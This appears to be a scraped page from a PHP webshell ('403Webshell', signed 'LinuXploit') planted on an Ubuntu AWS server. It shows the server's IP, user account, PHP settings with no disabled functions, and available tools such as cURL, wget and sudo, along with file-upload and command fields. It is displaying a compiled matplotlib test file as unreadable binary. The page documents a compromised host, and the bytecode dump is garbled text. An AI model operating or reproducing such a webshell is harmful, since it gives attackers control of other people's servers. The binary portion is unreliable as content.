403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_png.cpython-312.pyc
�

G8�c���n�ddlmZddlmZddlZddlmZddlmZm	Z
edgd��d	��Zd
�Zd�Z
y)�)�BytesIO)�PathN)�image_comparison)�cm�pyplotzpngsuite.pngg���Q��?)�tolc�2�ttt�jdzj	d��}tjt|�df��t|�D]Z\}}tj|�}d}|jdk(rtj}tj|||dzddg|���\tj�jj!d�tj�j#dt|��y)	Nzbaseline_images/pngsuitez	basn*.png�)�figsize�r)�extent�cmapz#ddffff)�sortedr�__file__�parent�glob�plt�figure�len�	enumerate�imread�ndimr�gray�imshow�gca�patch�
set_facecolor�set_xlim)�files�i�fname�datars     �;/usr/lib/python3/dist-packages/matplotlib/tests/test_png.py�
test_pngsuiter$
s����	
�h��	�	�!;�	;�A�A�+�N�
P�E��J�J��E�
�A��'��e�$�=���5��z�z�%� �����9�9��>��7�7�D��
�
�4��A��E�1�a� 0�t�<�
=��G�G�I�O�O�!�!�)�,��G�G�I���q�#�e�*�%�c�
�|jd�}t|jd��}t|jd��}tj|�t|d�5}|j
�}ddd�t|d�5}|jdd�ddd�tjt�5tj|�ddd�y#1swY�jxYw#1swY�MxYw#1swYyxYw)N�testztest.pngztest_truncated.png�rb�wb�)�mkdir�str�joinr�savefig�open�read�write�pytest�raises�	Exceptionr)�tmpdir�dr!�fname_t�fin�buf�fouts       r#�test_truncated_filer;s������V��A�����z�"�#�E��!�&�&�-�.�/�G��K�K���	
�e�T�	��c��h�h�j���	
�g�t�	����
�
�3�s��8���
���y�	!���
�
�7������������s$�'C!�C-�C9�!C*�-C6�9Dc�@�t�}tj|�|jd�t|j	d��}|jd�tjt�5tj|�ddd�y#1swYyxYw)Nrr*)	rrr.�seekr0r2r3r4r)�b�b2s  r#�test_truncated_bufferr@+sh���	�A��K�K��N��F�F�1�I�	������	�B��G�G�A�J�	���y�	!���
�
�2�����s�5B�B)�ior�pathlibrr2�matplotlib.testing.decoratorsr�
matplotlibrrrr$r;r@�r%r#�<module>rFs<����
�:�(��>�"��-�&�.�&�$�r%

Youez - 2016 - github.com/yon3zu
LinuXploit